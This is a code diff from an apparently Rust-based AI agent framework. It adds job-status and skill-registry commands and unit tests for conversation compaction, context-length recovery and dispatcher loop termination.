output.push_str(&format!(" {} - {} ({})\n", j.id, j.title, j.status));
}
for j in &sandbox_jobs {
output.push_str(&format!(" {} - {} ({})\n", j.id, j.task, j.status));
}
return Ok(output);
}
// Fallback to ContextManager if no DB.
let jobs = self.context_manager.all_jobs_for(user_id).await;
if jobs.is_empty() {
return Ok("No jobs found.".to_string());
}
let mut output = String::from("Jobs:\n");
for job_id in jobs {
if let Ok(ctx) = self.context_manager.get_context(job_id).await
&& ctx.user_id == user_id
{
if let Ok(ctx) = self.context_manager.get_context(job_id).await {
output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state));
}
}
Ok(output)
}
@@ -209,6 +302,33 @@ impl Agent {
}
}
/// Show job status inline — either all jobs (no id) or a specific job.
pub(super) async fn process_job_status(
&self,
user_id: &str,
job_id: Option<&str>,
) -> Result<SubmissionResult, Error> {
match self
.handle_check_status(user_id, job_id.map(|s| s.to_string()))
.await
{
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Job status error: {}", e))),
}
}
/// Cancel a job by ID.
pub(super) async fn process_job_cancel(
&self,
user_id: &str,
job_id: &str,
) -> Result<SubmissionResult, Error> {
match self.handle_cancel_job(user_id, job_id).await {
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Cancel error: {}", e))),
}
}
/// Trigger a manual heartbeat check.
pub(super) async fn process_heartbeat(&self) -> Result<SubmissionResult, Error> {
let Some(workspace) = self.workspace() else {
@@ -373,6 +493,10 @@ impl Agent {
" /thread <id> Switch to thread\n",
" /resume <id> Resume from checkpoint\n",
"\n",
"Skills:\n",
" /skills List installed skills\n",
" /skills search <q> Search ClawHub registry\n",
"\n",
"Agent:\n",
" /heartbeat Run heartbeat check\n",
" /summarize Summarize current thread\n",
@@ -405,6 +529,22 @@ impl Agent {
))
}
"skills" => {
if args.first().map(|s| s.as_str()) == Some("search") {
let query = args[1..].join(" ");
if query.is_empty() {
return Ok(SubmissionResult::error("Usage: /skills search <query>"));
}
self.handle_skills_search(&query).await
} else if args.is_empty() {
self.handle_skills_list().await
} else {
Ok(SubmissionResult::error(
"Usage: /skills or /skills search <query>",
))
}
}
"model" => {
let current = self.llm().active_model_name();
@@ -475,6 +615,129 @@ impl Agent {
}
}
/// List installed skills.
async fn handle_skills_list(&self) -> Result<SubmissionResult, Error> {
let Some(registry) = self.skill_registry() else {
return Ok(SubmissionResult::error("Skills system not enabled."));
};
let guard = match registry.read() {
Ok(g) => g,
Err(e) => {
return Ok(SubmissionResult::error(format!(
"Skill registry lock error: {}",
e
)));
}
};
let skills = guard.skills();
if skills.is_empty() {
return Ok(SubmissionResult::response(
"No skills installed.\n\nUse /skills search <query> to find skills on ClawHub.",
));
}
let mut out = String::from("Installed skills:\n\n");
for s in skills {
let desc = if s.manifest.description.chars().count() > 60 {
let truncated: String = s.manifest.description.chars().take(57).collect();
format!("{}...", truncated)
} else {
s.manifest.description.clone()
};
out.push_str(&format!(
" {:<24} v{:<10} [{}] {}\n",
s.manifest.name, s.manifest.version, s.trust, desc,
));
}
out.push_str("\nUse /skills search <query> to find more on ClawHub.");
Ok(SubmissionResult::response(out))
}
/// Search ClawHub for skills.
async fn handle_skills_search(&self, query: &str) -> Result<SubmissionResult, Error> {
let catalog = match self.skill_catalog() {
Some(c) => c,
None => {
return Ok(SubmissionResult::error("Skill catalog not available."));
}
};
let outcome = catalog.search(query).await;
// Enrich top results with detail data (stars, downloads, owner)
let mut entries = outcome.results;
catalog.enrich_search_results(&mut entries, 5).await;
let mut out = format!("ClawHub results for \"{}\":\n\n", query);
if entries.is_empty() {
if let Some(ref err) = outcome.error {
out.push_str(&format!(" (registry error: {})\n", err));
} else {
out.push_str(" No results found.\n");
}
} else {
for entry in &entries {
let owner_str = entry
.owner
.as_deref()
.map(|o| format!(" by {}", o))
.unwrap_or_default();
let stats_parts: Vec<String> = [
entry.stars.map(|s| format!("{} stars", s)),
entry.downloads.map(|d| format_count(d, "downloads")),
]
.into_iter()
.flatten()
.collect();
let stats_str = if stats_parts.is_empty() {
String::new()
} else {
format!(" {}", stats_parts.join(" "))
};
out.push_str(&format!(
" {:<24} v{:<10}{}{}\n",
entry.name, entry.version, owner_str, stats_str,
));
if !entry.description.is_empty() {
out.push_str(&format!(" {}\n\n", entry.description));
}
}
}
// Show matching installed skills
if let Some(registry) = self.skill_registry()
&& let Ok(guard) = registry.read()
{
let query_lower = query.to_lowercase();
let matches: Vec<_> = guard
.skills()
.iter()
.filter(|s| {
s.manifest.name.to_lowercase().contains(&query_lower)
|| s.manifest.description.to_lowercase().contains(&query_lower)
})
.collect();
if !matches.is_empty() {
out.push_str(&format!("Installed skills matching \"{}\":\n", query));
for s in &matches {
out.push_str(&format!(
" {:<24} v{:<10} [{}]\n",
s.manifest.name, s.manifest.version, s.trust,
));
}
}
}
Ok(SubmissionResult::response(out))
}
/// Handle legacy command routing from the Router (job commands that go through
/// process_user_input -> router -> handle_job_or_command -> here).
pub(super) async fn handle_command(
+478
View File
@@ -342,4 +342,482 @@ mod tests {
assert_eq!(partial.turns_removed, 0);
assert!(!partial.summary_written);
}
// === QA Plan - Compaction strategy tests ===
use crate::agent::context_monitor::CompactionStrategy;
use crate::config::SafetyConfig;
use crate::safety::SafetyLayer;
use crate::testing::StubLlm;
/// Helper: build a `ContextCompactor` with the given `StubLlm`.
fn make_compactor(llm: Arc<StubLlm>) -> ContextCompactor {
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
ContextCompactor::new(llm, safety)
}
/// Helper: build a thread with `n` completed turns.
/// Turn `i` has user_input "msg-{i}" and response "resp-{i}".
fn make_thread(n: usize) -> Thread {
let mut thread = Thread::new(Uuid::new_v4());
for i in 0..n {
thread.start_turn(format!("msg-{}", i));
thread.complete_turn(format!("resp-{}", i));
}
thread
}
// ------------------------------------------------------------------
// 1. compact_truncate keeps last N turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keeps_last_n() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
assert_eq!(thread.turns.len(), 10);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
// Only 3 turns remain
assert_eq!(thread.turns.len(), 3);
// They are the most recent ones (msg-7, msg-8, msg-9)
assert_eq!(thread.turns[0].user_input, "msg-7");
assert_eq!(thread.turns[1].user_input, "msg-8");
assert_eq!(thread.turns[2].user_input, "msg-9");
// Turn numbers are re-indexed to 0, 1, 2
assert_eq!(thread.turns[0].turn_number, 0);
assert_eq!(thread.turns[1].turn_number, 1);
assert_eq!(thread.turns[2].turn_number, 2);
// Result metadata
assert_eq!(result.turns_removed, 7);
assert!(!result.summary_written);
assert!(result.summary.is_none());
// Tokens should be reported (before > 0 since we had content)
assert!(result.tokens_before > 0);
assert!(result.tokens_after > 0);
assert!(result.tokens_before > result.tokens_after);
}
// ------------------------------------------------------------------
// 2. compact_truncate with fewer turns than limit (no-op)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_with_fewer_turns_than_limit() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(2);
let original_inputs: Vec<String> =
thread.turns.iter().map(|t| t.user_input.clone()).collect();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// All turns preserved
assert_eq!(thread.turns.len(), 2);
assert_eq!(thread.turns[0].user_input, original_inputs[0]);
assert_eq!(thread.turns[1].user_input, original_inputs[1]);
// No turns removed
assert_eq!(result.turns_removed, 0);
assert!(!result.summary_written);
assert!(result.summary.is_none());
}
// ------------------------------------------------------------------
// 3. compact_truncate with empty turns list
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_empty_turns() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = Thread::new(Uuid::new_v4());
assert!(thread.turns.is_empty());
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed on empty turns");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 0);
assert_eq!(result.tokens_before, 0);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 4. compact_with_summary produces summary turn via StubLlm
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_produces_summary_turn() {
let canned_summary =
"- User greeted the agent\n- Agent responded warmly\n- Five exchanges completed";
let llm = Arc::new(StubLlm::new(canned_summary));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 2 },
None,
)
.await
.expect("compact with summary should succeed");
// Should keep only 2 recent turns
assert_eq!(thread.turns.len(), 2);
// The kept turns should be the last two (msg-3, msg-4)
assert_eq!(thread.turns[0].user_input, "msg-3");
assert_eq!(thread.turns[1].user_input, "msg-4");
// Result should report the summary
assert_eq!(result.turns_removed, 3);
assert!(result.summary.is_some());
let summary = result.summary.unwrap();
assert!(summary.contains("User greeted the agent"));
assert!(summary.contains("Five exchanges completed"));
// summary_written should be false since no workspace was provided
assert!(!result.summary_written);
// StubLlm should have been called exactly once for the summary
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 5. compact_with_summary: LLM failure returns error (does not corrupt thread)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_llm_failure() {
let llm = Arc::new(StubLlm::failing("broken-llm"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(8);
let original_len = thread.turns.len();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 3 },
None,
)
.await;
// The LLM failure should propagate as an error
assert!(result.is_err());
// The thread should NOT have been modified (turns not truncated
// on failure, since the error occurs before truncation)
assert_eq!(thread.turns.len(), original_len);
}
// ------------------------------------------------------------------
// 6. compact_with_summary: fewer turns than keep_recent is a no-op
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_fewer_turns_than_keep() {
let llm = Arc::new(StubLlm::new("should not be called"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(3);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// No turns removed, LLM never called
assert_eq!(thread.turns.len(), 3);
assert_eq!(result.turns_removed, 0);
assert!(result.summary.is_none());
assert_eq!(llm.calls(), 0);
}
// ------------------------------------------------------------------
// 7. compact_to_workspace without workspace falls back to truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_without_workspace_falls_back() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// Without a workspace, compact_to_workspace falls back to truncation
// keeping 5 turns (the hardcoded fallback in the code)
assert_eq!(thread.turns.len(), 5);
assert_eq!(result.turns_removed, 15);
// The remaining turns should be the last 5
assert_eq!(thread.turns[0].user_input, "msg-15");
assert_eq!(thread.turns[4].user_input, "msg-19");
}
// ------------------------------------------------------------------
// 8. compact_to_workspace: fewer turns than keep is a no-op
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_fewer_turns_noop() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
// MoveToWorkspace keeps 10 turns when workspace is available.
// Without workspace it falls back to truncate(5).
// With fewer turns, test the no-workspace fallback path:
let mut thread = make_thread(4);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// 4 turns < 5 (fallback keep_recent), so no truncation
assert_eq!(thread.turns.len(), 4);
assert_eq!(result.turns_removed, 0);
}
// ------------------------------------------------------------------
// 9. format_turns_for_storage includes tool calls
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_with_tool_calls() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("Search for X");
// Record a tool call on the current turn
if let Some(turn) = thread.turns.last_mut() {
turn.record_tool_call("search", serde_json::json!({"query": "X"}));
}
thread.complete_turn("Found X");
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("Search for X"));
assert!(formatted.contains("Found X"));
assert!(formatted.contains("Tools: search"));
}
// ------------------------------------------------------------------
// 10. format_turns_for_storage with no response (incomplete turn)
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_incomplete_turn() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("In progress message");
// Don't complete the turn
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("In progress message"));
// No "Agent:" line since response is None
assert!(!formatted.contains("Agent:"));
}
// ------------------------------------------------------------------
// 11. format_turns_for_storage empty list
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_empty() {
let formatted = format_turns_for_storage(&[]);
assert!(formatted.is_empty());
}
// ------------------------------------------------------------------
// 12. Token counts decrease after truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_tokens_decrease_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
assert!(
result.tokens_after < result.tokens_before,
"tokens_after ({}) should be less than tokens_before ({})",
result.tokens_after,
result.tokens_before
);
}
// ------------------------------------------------------------------
// 13. compact_with_summary: keep_recent=0 removes all turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keep_zero() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 14. Summarize with keep_recent=0 summarizes all and removes all
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_keep_zero() {
let llm = Arc::new(StubLlm::new("Summary of all turns"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert!(result.summary.is_some());
assert_eq!(result.summary.unwrap(), "Summary of all turns");
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 15. Messages are correctly built from turns for thread.messages()
// after compaction
// ------------------------------------------------------------------
#[tokio::test]
async fn test_messages_coherent_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
let messages = thread.messages();
// 3 turns * 2 messages each (user + assistant) = 6
assert_eq!(messages.len(), 6);
// Verify alternating user/assistant pattern
for (i, msg) in messages.iter().enumerate() {
if i % 2 == 0 {
assert_eq!(msg.role, crate::llm::Role::User);
} else {
assert_eq!(msg.role, crate::llm::Role::Assistant);
}
}
// Verify content matches the last 3 original turns
assert_eq!(messages[0].content, "msg-7");
assert_eq!(messages[1].content, "resp-7");
assert_eq!(messages[4].content, "msg-9");
assert_eq!(messages[5].content, "resp-9");
}
// ------------------------------------------------------------------
// 16. Multiple sequential compactions work correctly
// ------------------------------------------------------------------
#[tokio::test]
async fn test_sequential_compactions() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
// First compaction: 20 -> 10
let r1 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 10 },
None,
)
.await
.expect("first compact");
assert_eq!(thread.turns.len(), 10);
assert_eq!(r1.turns_removed, 10);
// Second compaction: 10 -> 3
let r2 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("second compact");
assert_eq!(thread.turns.len(), 3);
assert_eq!(r2.turns_removed, 7);
// The remaining turns should be the very last 3 from the original 20
assert_eq!(thread.turns[0].user_input, "msg-17");
assert_eq!(thread.turns[1].user_input, "msg-18");
assert_eq!(thread.turns[2].user_input, "msg-19");
}
}
+484
View File
@@ -106,6 +106,15 @@ impl Agent {
.with_channel(message.channel.clone())
.with_model_name(self.llm().active_model_name())
.with_group_chat(is_group_chat);
// Pass channel-specific conversation context to the LLM.
// This helps the agent know who/group it's talking to.
if let Some(channel) = self.channels.get_channel(&message.channel).await {
for (key, value) in channel.conversation_context(&message.metadata) {
reasoning = reasoning.with_conversation_data(&key, &value);
}
}
if let Some(prompt) = system_prompt {
reasoning = reasoning.with_system_prompt(prompt);
}
@@ -212,6 +221,15 @@ impl Agent {
);
}
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::Thinking("Calling LLM...".into()),
&message.metadata,
)
.await;
let output = match reasoning.respond_with_tools(&context).await {
Ok(output) => output,
Err(crate::error::LlmError::ContextLengthExceeded { used, limit }) => {
@@ -960,6 +978,7 @@ mod tests {
workspace: None,
extension_manager: None,
skill_registry: None,
skill_catalog: None,
skills_config: SkillsConfig::default(),
hooks: Arc::new(HookRegistry::new()),
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
@@ -1415,4 +1434,469 @@ mod tests {
.count();
assert_eq!(nudge_count, 1);
}
// === QA Plan P2 - 2.7: Context length recovery ===
#[tokio::test]
async fn test_context_length_recovery_via_compaction_and_retry() {
// Simulates the dispatcher's recovery path:
// 1. Provider returns ContextLengthExceeded
// 2. compact_messages_for_retry reduces context
// 3. Retry with compacted messages succeeds
use crate::llm::Reasoning;
use crate::testing::StubLlm;
let stub = Arc::new(StubLlm::failing_non_transient("ctx-bomb"));
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
let reasoning = Reasoning::new(stub.clone(), safety);
// Build a fat context with lots of history.
let messages = vec![
ChatMessage::system("You are a helpful assistant."),
ChatMessage::user("First question"),
ChatMessage::assistant("First answer"),
ChatMessage::user("Second question"),
ChatMessage::assistant("Second answer"),
ChatMessage::user("Third question"),
ChatMessage::assistant("Third answer"),
ChatMessage::user("Current request"),
];
let context = crate::llm::ReasoningContext::new().with_messages(messages.clone());
// Step 1: First call fails with ContextLengthExceeded.
let err = reasoning.respond_with_tools(&context).await.unwrap_err();
assert!(
matches!(err, crate::error::LlmError::ContextLengthExceeded { .. }),
"Expected ContextLengthExceeded, got: {:?}",
err
);
assert_eq!(stub.calls(), 1);
// Step 2: Compact messages (same as dispatcher lines 226).
let compacted = compact_messages_for_retry(&messages);
// Should have dropped the old history, kept system + note + last user.
assert!(compacted.len() < messages.len());
assert_eq!(compacted.last().unwrap().content, "Current request");
// Step 3: Switch provider to success and retry.
stub.set_failing(false);
let retry_context = crate::llm::ReasoningContext::new().with_messages(compacted);
let result = reasoning.respond_with_tools(&retry_context).await;
assert!(result.is_ok(), "Retry after compaction should succeed");
assert_eq!(stub.calls(), 2);
}
// === QA Plan P2 - 4.3: Dispatcher loop guard tests ===
/// LLM provider that always returns tool calls when tools are available,
/// and text when tools are empty (simulating force_text stripping tools).
struct AlwaysToolCallProvider;
#[async_trait]
impl LlmProvider for AlwaysToolCallProvider {
fn model_name(&self) -> &str {
"always-tool-call"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(Decimal::ZERO, Decimal::ZERO)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, crate::error::LlmError> {
Ok(CompletionResponse {
content: "forced text response".to_string(),
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::Stop,
})
}
async fn complete_with_tools(
&self,
request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
if request.tools.is_empty() {
// No tools = force_text mode; return text.
return Ok(ToolCompletionResponse {
content: Some("forced text response".to_string()),
tool_calls: Vec::new(),
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::Stop,
});
}
// Tools available: always call one.
Ok(ToolCompletionResponse {
content: None,
tool_calls: vec![ToolCall {
id: format!("call_{}", uuid::Uuid::new_v4()),
name: "echo".to_string(),
arguments: serde_json::json!({"message": "looping"}),
}],
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::ToolUse,
})
}
}
#[tokio::test]
async fn force_text_prevents_infinite_tool_call_loop() {
// Verify that Reasoning with force_text=true returns text even when
// the provider would normally return tool calls.
use crate::llm::{Reasoning, ReasoningContext, RespondResult, ToolDefinition};
let provider = Arc::new(AlwaysToolCallProvider);
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
let reasoning = Reasoning::new(provider, safety);
let tool_def = ToolDefinition {
name: "echo".to_string(),
description: "Echo a message".to_string(),
parameters: serde_json::json!({"type": "object", "properties": {"message": {"type": "string"}}}),
};
// Without force_text: provider returns tool calls.
let ctx_normal = ReasoningContext::new()
.with_messages(vec![ChatMessage::user("hello")])
.with_tools(vec![tool_def.clone()]);
let output = reasoning.respond_with_tools(&ctx_normal).await.unwrap();
assert!(
matches!(output.result, RespondResult::ToolCalls { .. }),
"Without force_text, should get tool calls"
);
// With force_text: provider must return text (tools stripped).
let mut ctx_forced = ReasoningContext::new()
.with_messages(vec![ChatMessage::user("hello")])
.with_tools(vec![tool_def]);
ctx_forced.force_text = true;
let output = reasoning.respond_with_tools(&ctx_forced).await.unwrap();
assert!(
matches!(output.result, RespondResult::Text(_)),
"With force_text, should get text response, got: {:?}",
output.result
);
}
#[test]
fn iteration_bounds_guarantee_termination() {
// Verify the arithmetic that guards against infinite loops:
// force_text_at = max_tool_iterations
// nudge_at = max_tool_iterations - 1
// hard_ceiling = max_tool_iterations + 1
for max_iter in [1_usize, 2, 5, 10, 50] {
let force_text_at = max_iter;
let nudge_at = max_iter.saturating_sub(1);
let hard_ceiling = max_iter + 1;
// force_text_at must be reachable (> 0)
assert!(
force_text_at > 0,
"force_text_at must be > 0 for max_iter={max_iter}"
);
// nudge comes before or at the same time as force_text
assert!(
nudge_at <= force_text_at,
"nudge_at ({nudge_at}) > force_text_at ({force_text_at})"
);
// hard ceiling is strictly after force_text
assert!(
hard_ceiling > force_text_at,
"hard_ceiling ({hard_ceiling}) not > force_text_at ({force_text_at})"
);
// Simulate iteration: every iteration from 1..=hard_ceiling
// At force_text_at, force_text=true (should produce text and break).
// At hard_ceiling, the error fires (safety net).
let mut hit_force_text = false;
let mut hit_ceiling = false;
for iteration in 1..=hard_ceiling {
if iteration >= force_text_at {
hit_force_text = true;
}
if iteration > max_iter + 1 {
hit_ceiling = true;
}
}
assert!(
hit_force_text,
"force_text never triggered for max_iter={max_iter}"
);
// The ceiling should only fire if force_text somehow didn't break
assert!(
hit_ceiling || hard_ceiling <= max_iter + 1,
"ceiling logic inconsistent for max_iter={max_iter}"
);
}
}
/// LLM provider that always returns calls to a nonexistent tool, regardless
/// of whether tools are available. When tools are stripped (force_text), it
/// returns text.
struct FailingToolCallProvider;
#[async_trait]
impl LlmProvider for FailingToolCallProvider {
fn model_name(&self) -> &str {
"failing-tool-call"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(Decimal::ZERO, Decimal::ZERO)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, crate::error::LlmError> {
Ok(CompletionResponse {
content: "forced text".to_string(),
input_tokens: 0,
output_tokens: 2,
finish_reason: FinishReason::Stop,
})
}
async fn complete_with_tools(
&self,
request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
if request.tools.is_empty() {
return Ok(ToolCompletionResponse {
content: Some("forced text".to_string()),
tool_calls: Vec::new(),
input_tokens: 0,
output_tokens: 2,
finish_reason: FinishReason::Stop,
});
}
// Always call a tool that does not exist in the registry.
Ok(ToolCompletionResponse {
content: None,
tool_calls: vec![ToolCall {
id: format!("call_{}", uuid::Uuid::new_v4()),
name: "nonexistent_tool".to_string(),
arguments: serde_json::json!({}),
}],
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::ToolUse,
})
}
}
/// Helper to build a test Agent with a custom LLM provider and
/// `max_tool_iterations` override.
fn make_test_agent_with_llm(llm: Arc<dyn LlmProvider>, max_tool_iterations: usize) -> Agent {
let deps = AgentDeps {
store: None,
llm,
cheap_llm: None,
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
})),
tools: Arc::new(ToolRegistry::new()),
workspace: None,
extension_manager: None,
skill_registry: None,
skill_catalog: None,
skills_config: SkillsConfig::default(),
hooks: Arc::new(HookRegistry::new()),
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
};
Agent::new(
AgentConfig {
name: "test-agent".to_string(),
max_parallel_jobs: 1,
job_timeout: Duration::from_secs(60),
stuck_threshold: Duration::from_secs(60),
repair_check_interval: Duration::from_secs(30),
max_repair_attempts: 1,
use_planning: false,
session_idle_timeout: Duration::from_secs(300),
allow_local_tools: false,
max_cost_per_day_cents: None,
max_actions_per_hour: None,
max_tool_iterations,
auto_approve_tools: true,
},
deps,
Arc::new(ChannelManager::new()),
None,
None,
None,
Some(Arc::new(ContextManager::new(1))),
None,
)
}
/// Regression test for the infinite loop bug (PR #252) where `continue`
/// skipped the index increment. When every tool call fails (e.g., tool not
/// found), the dispatcher must still advance through all calls and
/// eventually terminate via the force_text / max_iterations guard.
#[tokio::test]
async fn test_dispatcher_terminates_with_all_tool_calls_failing() {
use crate::agent::session::Session;
use crate::channels::IncomingMessage;
use crate::llm::ChatMessage;
use tokio::sync::Mutex;
let agent = make_test_agent_with_llm(Arc::new(FailingToolCallProvider), 5);
let session = Arc::new(Mutex::new(Session::new("test-user")));
// Initialize a thread in the session so the loop can record tool calls.
let thread_id = {
let mut sess = session.lock().await;
sess.create_thread().id
};
let message = IncomingMessage::new("test", "test-user", "do something");
let initial_messages = vec![ChatMessage::user("do something")];
// The dispatcher must terminate within 5 seconds. If there is an
// infinite loop bug (e.g., index not advancing on tool failure), the
// timeout will fire and the test will fail.
let result = tokio::time::timeout(
Duration::from_secs(5),
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
)
.await;
assert!(
result.is_ok(),
"Dispatcher timed out -- possible infinite loop when all tool calls fail"
);
// The loop should complete (either with a text response from force_text,
// or an error from the hard ceiling). Both are acceptable termination.
let inner = result.unwrap();
assert!(
inner.is_ok(),
"Dispatcher returned an error: {:?}",
inner.err()
);
}
/// Verify that the max_iterations guard terminates the loop even when the
/// LLM always returns tool calls and those calls succeed.
#[tokio::test]
async fn test_dispatcher_terminates_with_max_iterations() {
use crate::agent::session::Session;
use crate::channels::IncomingMessage;
use crate::llm::ChatMessage;
use crate::tools::builtin::EchoTool;
use tokio::sync::Mutex;
// Use AlwaysToolCallProvider which calls "echo" on every turn.
// Register the echo tool so the calls succeed.
let llm: Arc<dyn LlmProvider> = Arc::new(AlwaysToolCallProvider);
let max_iter = 3;
let agent = {
let deps = AgentDeps {
store: None,
llm,
cheap_llm: None,
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
})),
tools: {
let registry = Arc::new(ToolRegistry::new());
registry.register_sync(Arc::new(EchoTool));
registry
},
workspace: None,
extension_manager: None,
skill_registry: None,
skill_catalog: None,
skills_config: SkillsConfig::default(),
hooks: Arc::new(HookRegistry::new()),
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
};
Agent::new(
AgentConfig {
name: "test-agent".to_string(),
max_parallel_jobs: 1,
job_timeout: Duration::from_secs(60),
stuck_threshold: Duration::from_secs(60),
repair_check_interval: Duration::from_secs(30),
max_repair_attempts: 1,
use_planning: false,
session_idle_timeout: Duration::from_secs(300),
allow_local_tools: false,
max_cost_per_day_cents: None,
max_actions_per_hour: None,
max_tool_iterations: max_iter,
auto_approve_tools: true,
},
deps,
Arc::new(ChannelManager::new()),
None,
None,
None,
Some(Arc::new(ContextManager::new(1))),
None,
)
};
let session = Arc::new(Mutex::new(Session::new("test-user")));
let thread_id = {
let mut sess = session.lock().await;
sess.create_thread().id
};
let message = IncomingMessage::new("test", "test-user", "keep calling tools");
let initial_messages = vec![ChatMessage::user("keep calling tools")];
// Even with an LLM that always wants to call tools, the dispatcher
// must terminate within the timeout thanks to force_text at
// max_tool_iterations.
let result = tokio::time::timeout(
Duration::from_secs(5),
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
)
.await;
assert!(
result.is_ok(),
"Dispatcher timed out -- max_iterations guard failed to terminate the loop"
);
// Should get a successful text response (force_text kicks in).
let inner = result.unwrap();
assert!(
inner.is_ok(),
"Dispatcher returned an error: {:?}",
inner.err()
);
// Verify we got a text response.
match inner.unwrap() {
super::AgenticLoopResult::Response(text) => {
assert!(!text.is_empty(), "Expected non-empty forced text response");
}
super::AgenticLoopResult::NeedApproval { .. } => {
panic!("Expected text response, got NeedApproval");
}
}
}
}
+1
View File
@@ -294,6 +294,7 @@ impl HeartbeatRunner {
let response = OutgoingResponse {
content: format!("🔔 *Heartbeat Alert*\n\n{}", message),
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({
"source": "heartbeat",
}),
+3
View File
@@ -600,10 +600,13 @@ async fn send_notification(
